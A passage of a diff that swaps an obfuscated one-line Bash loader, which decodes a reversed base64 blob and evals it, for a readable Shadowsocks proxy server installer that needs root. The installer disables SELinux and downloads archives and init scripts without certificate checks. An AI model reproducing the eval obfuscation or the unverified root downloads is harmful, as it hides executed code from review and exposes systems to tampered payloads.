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 | r";IrqnYIMQzDXkMWKAlQPOHbGguaQCMVNaPDjnWYnwStxjjCevlcsgdVwyagbBlBzZADAaDaQaNkbYDyYdJMjvHTxhxhzffnInSYVQ="oZdbAAexRNSnIQMpAUtnBaayaweqccvcUrJztnFrqFISEhnERganNzFxXuldwraDKqUbKVJgPkjQjUXBCdVRnzhNWIBXbofBpphY";OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv="";GRrbryBEdzFoPyQmGPaphovnhOHwiEgxHRZrxKVqJeinShQOVpzJRErXrqVNLuSXTKVmLKwuHdqYrfNqzmpMPdMxPDQEsIycMjCZ="as";VRPDGyytGUmAjDikoqCchxSXtlaoHZktlkzGhDJqPFcnvfSaywwVHgXLhnCeIVjlHDXeJpGjuUpOQXcnWboMoPhWOoGXXQgBxszs="QSOLOPZEtAKaIasrwvwtSjwLWYQIPHtnrKofGJLebMResgZPQwWtEHdElQqYOHOZhJeslcnsPsVSXzHDXfOOoCsPCgUawUwlXSTJ";oiyskSfktYUfusxJuCbrDwdMUzjqIuwciOZcjJAxZMiTnmhMsRlNLhyYOsQajRpTliSroeXdGhpmlZQINRRJeWNRgBkGmEQJQMwM="THMCzkmJzrEfcMnKKXXbyZNzkkudbcAfCSrIJKvWNgNQlrJJyemuStwRdJCsrANxdXVnJHTzvrifzZMyzzYoATtQnKldDwaXreXH";WzjScndIZHdSFxjYgxdFNcFfzGsyXvPhnlrKrrhvPRTwwKsWeZgygJFyZfSLcOJfBSVSjxxfmhTIqnUYWyZkFNTmTwLSjAfYdYZm="o";dhNgTKpHPWUTueyqbGZRAfSEENDetFAKwbIsnEGvzIcjcnVjPBSjAJSJHnZhqhrthfURoKdEVmzrjkpCtGJGJDakYROrsoYEIxkT="6";ETuCUiELpEJOABpDgpfOniZsBmSxKZUxJdtWYSXQdWNxcQePVumbuhDBcVcVmHGXjPIjodogceeQFkoeymnkKokIGhUiAvnGWnGw="qMppQoutsyYqgnOGrXlQokGfTAaxpcNCgOlQydPJXftUOolphpXnpfwUrdIYYLMFZkbQQCaDwYnroOAtmLaVPTvYJUEnBIqJMdFH";FtCdfNgIRBMxEibRTdpUhSLLeFXhrpXeWzfCemXkcuiALMmALTXHraIqwxnPlKAMmYTgRorrPYnFfOjTTqvOlLFeKRdoqQuVrutj=" -d";VBJopjKTkGMpeyKyrUkBhrVykZkREduNaNtCCycdGbPLqtzYTmPwXEoqtVqqvjDQuRtSSzKMeuxPDztVHMTLUbMUfUuzijdxhZCB="gBXEIIsKgIjkfqlobRHNEhIhZxIgKFmVaZPwPhbgFVjODdrGDZMztYJchwBosfgwDJmobNOQOWiKCuozorVmecWrpVYCuZtCFUoa";fdEHVAoTyChixMDOLSMWCOerBIjJfhHWZAapAydlxSUtgYnHbXRfQinEWIlDCqbLylwKVvzrMFERqmceflHHqXDxYZsxuBcjMgXL="";mcvRWBSpdsAvSlbGQIyggQPlfYFebzOHNkmdSiOxqgvdcQqfuHakHzHjdYyEtpPJszvmloIYhfGUjQmswJRQCWgQBSugDIVdLjMA="b";XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB="e";rYWlQvPsLfdCuQblUNEBmpOdCULRetjGVAWOkhEthTJgFAmptFaTpsSaaJvPGphnnJBhttIYFsBpJxDaNvVZPFcvBqGZJyFjAEsF="v |";Tx=Eds;uymTqrUAYFOEXGReFLCruLpbBcjdcZfSPoHpOWpMTuhwtlFzeJskDEcpZKduLcwlybujxKQqPIpwHXEjuZgFiuniSZuwMMXlNdQC="";ITzSQEGGfdQHBRFyZPChSZjbEzdfkslWSQAaRUHOgvYNasIlyVlEtpKURwlqrFbbLbNDbMHVyWtsKKvQcTPPCYnQkhsvwStwBZgg=$(eval "$OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv$XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB$ItEeoteCPQyZjEHUnBtIUVfOyicFcyAYjxURxmjJassOWzcSaNqrDpZZsxVGqGMJLdSujCOTxUyzIjyKZafEgJtpJItSskmtQXRj$NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv$WzjScndIZHdSFxjYgxdFNcFfzGsyXvPhnlrKrrhvPRTwwKsWeZgygJFyZfSLcOJfBSVSjxxfmhTIqnUYWyZkFNTmTwLSjAfYdYZm$jbOLajYbAaWPyQxihGsaBXpGclSkqAhwRlxvTRnpXoqxsJAIKepYQAuGpLyMYMqfNempNmjIVPHBCFyvkbzkXwXvjAUCPXxTFkFE$XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB$rYWlQvPsLfdCuQblUNEBmpOdCULRetjGVAWOkhEthTJgFAmptFaTpsSaaJvPGphnnJBhttIYFsBpJxDaNvVZPFcvBqGZJyFjAEsF$OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv$mcvRWBSpdsAvSlbGQIyggQPlfYFebzOHNkmdSiOxqgvdcQqfuHakHzHjdYyEtpPJszvmloIYhfGUjQmswJRQCWgQBSugDIVdLjMA$uymTqrUAYFOEXGReFLCruLpbBcjdcZfSPoHpOWpMTuhwtlFzeJskDEcpZKduLcwlybujxKQqPIpwHXEjuZgFiuniSZuwMMXlNdQC$GRrbryBEdzFoPyQmGPaphovnhOHwiEgxHRZrxKVqJeinShQOVpzJRErXrqVNLuSXTKVmLKwuHdqYrfNqzmpMPdMxPDQEsIycMjCZ$XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB$dhNgTKpHPWUTueyqbGZRAfSEENDetFAKwbIsnEGvzIcjcnVjPBSjAJSJHnZhqhrthfURoKdEVmzrjkpCtGJGJDakYROrsoYEIxkT$NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv$HOpQkMUFPgWqyiENAzcZxuxIuYfFZkzUoZMpZfNGUSLSoITiBzQjmUmybgdlTeUqsWpbETnjIQzFxDuUpJoGMRDUhMHNgLcBNSgb$FtCdfNgIRBMxEibRTdpUhSLLeFXhrpXeWzfCemXkcuiALMmALTXHraIqwxnPlKAMmYTgRorrPYnFfOjTTqvOlLFeKRdoqQuVrutj$uymTqrUAYFOEXGReFLCruLpbBcjdcZfSPoHpOWpMTuhwtlFzeJskDEcpZKduLcwlybujxKQqPIpwHXEjuZgFiuniSZuwMMXlNdQC");eval "$fdEHVAoTyChixMDOLSMWCOerBIjJfhHWZAapAydlxSUtgYnHbXRfQinEWIlDCqbLylwKVvzrMFERqmceflHHqXDxYZsxuBcjMgXL$ITzSQEGGfdQHBRFyZPChSZjbEzdfkslWSQAaRUHOgvYNasIlyVlEtpKURwlqrFbbLbNDbMHVyWtsKKvQcTPPCYnQkhsvwStwBZgg$OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv$NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv" \ No newline at end of file +eval PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' +[[ $EUID -ne 0 ]] && echo -e "[${red}Error${plain}] This script must be run as root!" && exit 1 +cur_dir=$( pwd ) +software=(Shadowsocks-Python ShadowsocksR Shadowsocks-Go Shadowsocks-libev) +libsodium_file="libsodium-1.0.17" +libsodium_url="https://github.com/jedisct1/libsodium/releases/download/1.0.17/libsodium-1.0.17.tar.gz" +mbedtls_file="mbedtls-2.16.0" +mbedtls_url="https://tls.mbed.org/download/mbedtls-2.16.0-gpl.tgz" +shadowsocks_python_file="shadowsocks-master" +shadowsocks_python_url="https://github.com/shadowsocks/shadowsocks/archive/master.zip" +shadowsocks_python_init="/etc/init.d/shadowsocks-python" +shadowsocks_python_config="/etc/shadowsocks-python/config.json" +shadowsocks_python_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks" +shadowsocks_python_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-debian" +shadowsocks_r_file="shadowsocksr-3.2.2" +shadowsocks_r_url="https://github.com/shadowsocksrr/shadowsocksr/archive/3.2.2.tar.gz" +shadowsocks_r_init="/etc/init.d/shadowsocks-r" +shadowsocks_r_config="/etc/shadowsocks-r/config.json" +shadowsocks_r_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR" +shadowsocks_r_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR-debian" +shadowsocks_go_file_64="shadowsocks-server-linux64-1.2.2" +shadowsocks_go_url_64="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux64-1.2.2.gz" +shadowsocks_go_file_32="shadowsocks-server-linux32-1.2.2" +shadowsocks_go_url_32="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux32-1.2.2.gz" +shadowsocks_go_init="/etc/init.d/shadowsocks-go" +shadowsocks_go_config="/etc/shadowsocks-go/config.json" +shadowsocks_go_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go" +shadowsocks_go_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go-debian" +shadowsocks_libev_init="/etc/init.d/shadowsocks-libev" +shadowsocks_libev_config="/etc/shadowsocks-libev/config.json" +shadowsocks_libev_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev" +shadowsocks_libev_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev-debian" +common_ciphers=( +aes-256-gcm +aes-192-gcm +aes-128-gcm +aes-256-ctr +aes-192-ctr +aes-128-ctr +aes-256-cfb +aes-192-cfb +aes-128-cfb +camellia-128-cfb +camellia-192-cfb +camellia-256-cfb +xchacha20-ietf-poly1305 +chacha20-ietf-poly1305 +chacha20-ietf +chacha20 +salsa20 +rc4-md5 +) +go_ciphers=( +aes-256-cfb +aes-192-cfb +aes-128-cfb +aes-256-ctr +aes-192-ctr +aes-128-ctr +chacha20-ietf +chacha20 +salsa20 +rc4-md5 +) +r_ciphers=( +none +aes-256-cfb +aes-192-cfb +aes-128-cfb +aes-256-cfb8 +aes-192-cfb8 +aes-128-cfb8 +aes-256-ctr +aes-192-ctr +aes-128-ctr +chacha20-ietf +chacha20 +salsa20 +xchacha20 +xsalsa20 +rc4-md5 +) +protocols=( +origin +verify_deflate +auth_sha1_v4 +auth_sha1_v4_compatible +auth_aes128_md5 +auth_aes128_sha1 +auth_chain_a +auth_chain_b +auth_chain_c +auth_chain_d +auth_chain_e +auth_chain_f +) +obfs=( +plain +http_simple +http_simple_compatible +http_post +http_post_compatible +tls1.2_ticket_auth +tls1.2_ticket_auth_compatible +tls1.2_ticket_fastauth +tls1.2_ticket_fastauth_compatible +) +obfs_libev=(http tls) +libev_obfs="" +disable_selinux(){ +if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then +sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config +setenforce 0 +fi +} +check_sys(){ +local checkType=$1 +local value=$2 +local release='' +local systemPackage='' +if [[ -f /etc/redhat-release ]]; then +release="centos" +systemPackage="yum" +elif grep -Eqi "debian|raspbian" /etc/issue; then +release="debian" +systemPackage="apt" +elif grep -Eqi "ubuntu" /etc/issue; then +release="ubuntu" +systemPackage="apt" +elif grep -Eqi "centos|red hat|redhat" /etc/issue; then +release="centos" +systemPackage="yum" +elif grep -Eqi "debian|raspbian" /proc/version; then +release="debian" +systemPackage="apt" +elif grep -Eqi "ubuntu" /proc/version; then +release="ubuntu" +systemPackage="apt" +elif grep -Eqi "centos|red hat|redhat" /proc/version; then +release="centos" +systemPackage="yum" +fi +if [[ "${checkType}" == "sysRelease" ]]; then +if [ "${value}" == "${release}" ]; then +return 0 +else +return 1 +fi +elif [[ "${checkType}" == "packageManager" ]]; then +if [ "${value}" == "${systemPackage}" ]; then +return 0 +else +return 1 +fi +fi +} +version_ge(){ +test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" == "$1" +} +version_gt(){ +test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" != "$1" +} +check_kernel_version(){ +local kernel_version=$(uname -r | cut -d- -f1) +if version_gt ${kernel_version} 3.7.0; then +return 0 +else +return 1 +fi +} +check_kernel_headers(){ +if check_sys packageManager yum; then +if rpm -qa | grep -q headers-$(uname -r); then +return 0 +else +return 1 +fi +elif check_sys packageManager apt; then +if dpkg -s linux-headers-$(uname -r) > /dev/null 2>&1; then +return 0 +else +return 1 +fi +fi +return 1 +} +getversion(){ +if [[ -s /etc/redhat-release ]]; then +grep -oE "[0-9.]+" /etc/redhat-release +else +grep -oE "[0-9.]+" /etc/issue +fi +} +centosversion(){ +if check_sys sysRelease centos; then +local code=$1 +local version="$(getversion)" +local main_ver=${version%%.*} +if [ "$main_ver" == "$code" ]; then +return 0 +else +return 1 +fi +else +return 1 +fi +} +autoconf_version(){ +if [ ! "$(command -v autoconf)" ]; then +echo -e "[${green}Info${plain}] Starting install package autoconf" +if check_sys packageManager yum; then +yum install -y autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf" +elif check_sys packageManager apt; then +apt-get -y update > /dev/null 2>&1 +apt-get -y install autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf" +fi +fi +local autoconf_ver=$(autoconf --version | grep autoconf | grep -oE "[0-9.]+") +if version_ge ${autoconf_ver} 2.67; then +return 0 +else +return 1 +fi +} +get_ip(){ +local IP=$( ip addr | egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | egrep -v "^192\.168|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-2]\.|^10\.|^127\.|^255\.|^0\." | head -n 1 ) +[ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipv4.icanhazip.com ) +[ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipinfo.io/ip ) +echo ${IP} +} +get_ipv6(){ +local ipv6=$(wget -qO- -t1 -T2 ipv6.icanhazip.com) +[ -z ${ipv6} ] && return 1 || return 0 +} +get_libev_ver(){ +libev_ver=$(wget --no-check-certificate -qO- https://api.github.com/repos/shadowsocks/shadowsocks-libev/releases/latest | grep 'tag_name' | cut -d\" -f4) +[ -z ${libev_ver} ] && echo -e "[${red}Error${plain}] Get shadowsocks-libev latest version failed" && exit 1 +} +get_opsy(){ +[ -f /etc/redhat-release ] && awk '{print ($1,$3~/^[0-9]/?$3:$4)}' /etc/redhat-release && return +[ -f /etc/os-release ] && awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release && return +[ -f /etc/lsb-release ] && awk -F'[="]+' '/DESCRIPTION/{print $2}' /etc/lsb-release && return +} +is_64bit(){ +if [ `getconf WORD_BIT` = '32' ] && [ `getconf LONG_BIT` = '64' ] ; then +return 0 +else +return 1 +fi +} +debianversion(){ +if check_sys sysRelease debian;then +local version=$( get_opsy ) +local code=${1} +local main_ver=$( echo ${version} | sed 's/[^0-9]//g') +if [ "${main_ver}" == "${code}" ];then +return 0 +else +return 1 +fi +else +return 1 +fi +} +download(){ +local filename=$(basename $1) +if [ -f ${1} ]; then +echo "${filename} [found]" +else +echo "${filename} not found, download now..." +wget --no-check-certificate -c -t3 -T60 -O ${1} ${2} +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Download ${filename} failed." +exit 1 +fi +fi +} +download_files(){ +cd ${cur_dir} +if [ "${selected}" == "1" ]; then +download "${shadowsocks_python_file}.zip" "${shadowsocks_python_url}" +if check_sys packageManager yum; then +download "${shadowsocks_python_init}" "${shadowsocks_python_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_python_init}" "${shadowsocks_python_debian}" +fi +elif [ "${selected}" == "2" ]; then +download "${shadowsocks_r_file}.tar.gz" "${shadowsocks_r_url}" +if check_sys packageManager yum; then +download "${shadowsocks_r_init}" "${shadowsocks_r_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_r_init}" "${shadowsocks_r_debian}" +fi +elif [ "${selected}" == "3" ]; then +if is_64bit; then +download "${shadowsocks_go_file_64}.gz" "${shadowsocks_go_url_64}" +else +download "${shadowsocks_go_file_32}.gz" "${shadowsocks_go_url_32}" +fi +if check_sys packageManager yum; then +download "${shadowsocks_go_init}" "${shadowsocks_go_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_go_init}" "${shadowsocks_go_debian}" +fi +elif [ "${selected}" == "4" ]; then +get_libev_ver +shadowsocks_libev_file="shadowsocks-libev-$(echo ${libev_ver} | sed -e 's/^[a-zA-Z]//g')" +shadowsocks_libev_url="https://github.com/shadowsocks/shadowsocks-libev/releases/download/${libev_ver}/${shadowsocks_libev_file}.tar.gz" +download "${shadowsocks_libev_file}.tar.gz" "${shadowsocks_libev_url}" +if check_sys packageManager yum; then +download "${shadowsocks_libev_init}" "${shadowsocks_libev_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_libev_init}" "${shadowsocks_libev_debian}" +fi +fi +} +get_char(){ +SAVEDSTTY=$(stty -g) +stty -echo +stty cbreak +dd if=/dev/tty bs=1 count=1 2> /dev/null +stty -raw +stty echo +stty $SAVEDSTTY +} +error_detect_depends(){ +local command=$1 +local depend=`echo "${command}" | awk '{print $4}'` +echo -e "[${green}Info${plain}] Starting to install package ${depend}" +${command} > /dev/null 2>&1 +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Failed to install ${red}${depend}${plain}" +exit 1 +fi +} +config_firewall(){ +if centosversion 6; then +/etc/init.d/iptables status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +iptables -L -n | grep -i ${shadowsocksport} > /dev/null 2>&1 +if [ $? -ne 0 ]; then +iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${shadowsocksport} -j ACCEPT +iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${shadowsocksport} -j ACCEPT +/etc/init.d/iptables save +/etc/init.d/iptables restart +else +echo -e "[${green}Info${plain}] port ${green}${shadowsocksport}${plain} already be enabled." +fi +else +echo -e "[${yellow}Warning${plain}] iptables looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary." +fi +elif centosversion 7; then +systemctl status firewalld > /dev/null 2>&1 +if [ $? -eq 0 ]; then +default_zone=$(firewall-cmd --get-default-zone) +firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/tcp +firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/udp +firewall-cmd --reload +else +echo -e "[${yellow}Warning${plain}] firewalld looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary." +fi +fi +} +config_shadowsocks(){ +if check_kernel_version && check_kernel_headers; then +fast_open="true" +else +fast_open="false" +fi +if [ "${selected}" == "1" ]; then +if [ ! -d "$(dirname ${shadowsocks_python_config})" ]; then +mkdir -p $(dirname ${shadowsocks_python_config}) +fi +cat > ${shadowsocks_python_config}<<-EOF +{ +"server":"0.0.0.0", +"server_port":${shadowsocksport}, +"local_address":"127.0.0.1", +"local_port":1080, +"password":"${shadowsockspwd}", +"timeout":300, +"method":"${shadowsockscipher}", +"fast_open":${fast_open} +} +EOF +elif [ "${selected}" == "2" ]; then +if [ ! -d "$(dirname ${shadowsocks_r_config})" ]; then +mkdir -p $(dirname ${shadowsocks_r_config}) +fi +cat > ${shadowsocks_r_config}<<-EOF +{ +"server":"0.0.0.0", +"server_ipv6":"::", +"server_port":${shadowsocksport}, +"local_address":"127.0.0.1", +"local_port":1080, +"password":"${shadowsockspwd}", +"timeout":120, +"method":"${shadowsockscipher}", +"protocol":"${shadowsockprotocol}", +"protocol_param":"", +"obfs":"${shadowsockobfs}", +"obfs_param":"", +"redirect":"", +"dns_ipv6":false, +"fast_open":${fast_open}, +"workers":1 +} +EOF +elif [ "${selected}" == "3" ]; then +if [ ! -d "$(dirname ${shadowsocks_go_config})" ]; then +mkdir -p $(dirname ${shadowsocks_go_config}) +fi +cat > ${shadowsocks_go_config}<<-EOF +{ +"server":"0.0.0.0", +"server_port":${shadowsocksport}, +"local_port":1080, +"password":"${shadowsockspwd}", +"method":"${shadowsockscipher}", +"timeout":300 +} +EOF +elif [ "${selected}" == "4" ]; then +local server_value="\"0.0.0.0\"" +if get_ipv6; then +server_value="[\"[::0]\",\"0.0.0.0\"]" +fi +if [ ! -d "$(dirname ${shadowsocks_libev_config})" ]; then +mkdir -p $(dirname ${shadowsocks_libev_config}) +fi +if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then +cat > ${shadowsocks_libev_config}<<-EOF +{ +"server":${server_value}, +"server_port":${shadowsocksport}, +"password":"${shadowsockspwd}", +"timeout":300, +"user":"nobody", +"method":"${shadowsockscipher}", +"fast_open":${fast_open}, +"nameserver":"8.8.8.8", +"mode":"tcp_and_udp", +"plugin":"obfs-server", +"plugin_opts":"obfs=${shadowsocklibev_obfs}" +} +EOF +else +cat > ${shadowsocks_libev_config}<<-EOF +{ +"server":${server_value}, +"server_port":${shadowsocksport}, +"password":"${shadowsockspwd}", +"timeout":300, +"user":"nobody", +"method":"${shadowsockscipher}", +"fast_open":${fast_open}, +"nameserver":"8.8.8.8", +"mode":"tcp_and_udp" +} +EOF +fi +fi +} +install_dependencies(){ +if check_sys packageManager yum; then +echo -e "[${green}Info${plain}] Checking the EPEL repository..." +if [ ! -f /etc/yum.repos.d/epel.repo ]; then +yum install -y epel-release > /dev/null 2>&1 +fi +[ ! -f /etc/yum.repos.d/epel.repo ] && echo -e "[${red}Error${plain}] Install EPEL repository failed, please check it." && exit 1 +[ ! "$(command -v yum-config-manager)" ] && yum install -y yum-utils > /dev/null 2>&1 +[ x"$(yum-config-manager epel | grep -w enabled | awk 